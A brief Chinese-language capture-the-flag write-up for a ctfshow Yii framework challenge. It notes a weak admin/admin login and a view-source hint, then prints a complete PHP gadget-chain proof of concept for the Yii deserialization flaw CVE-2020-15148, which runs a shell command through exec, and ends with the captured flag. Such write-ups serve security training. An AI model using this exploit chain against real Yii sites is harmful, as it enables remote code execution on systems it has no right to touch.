PHP/7.3.11框架审计CVE-2020-15148Yii登录前
    弱密码 admin/admin 登录
    about 页面有个 <!--?view-source --> 提示
    可以通过 index.php?r=site%2Fabout&view-source 查看提示
    这是 Yii 的路由规则,传送门 ,咋知道的 Yii?通过 burp 抓包记录看到很多 yii.js php 搜了下 (
    image.png

    框架反序列化漏洞,网上应该可以搜到,一个不错的复现和挖掘文章,传送门

    poc

    1. <?php
    2. namespace yii\rest{
    3. class CreateAction{
    4. public $checkAccess;
    5. public $id;
    6. public function __construct(){
    7. $this->checkAccess = 'exec';
    8. $this->id = 'cp /fla* tari.txt';
    9. }
    10. }
    11. }
    12. namespace Faker{
    13. use yii\rest\CreateAction;
    14. class Generator{
    15. protected $formatters;
    16. public function __construct(){
    17. $this->formatters['close'] = [new CreateAction, 'run'];
    18. }
    19. }
    20. }
    21. namespace yii\db{
    22. use Faker\Generator;
    23. class BatchQueryResult{
    24. private $_dataReader;
    25. public function __construct(){
    26. $this->_dataReader = new Generator;
    27. }
    28. }
    29. }
    30. namespace{
    31. echo base64_encode(serialize(new yii\db\BatchQueryResult));
    32. }

    image.png
    image.png
    flag
    ctfshow{438357ca-1233-4742-b986-f8672d27a08b}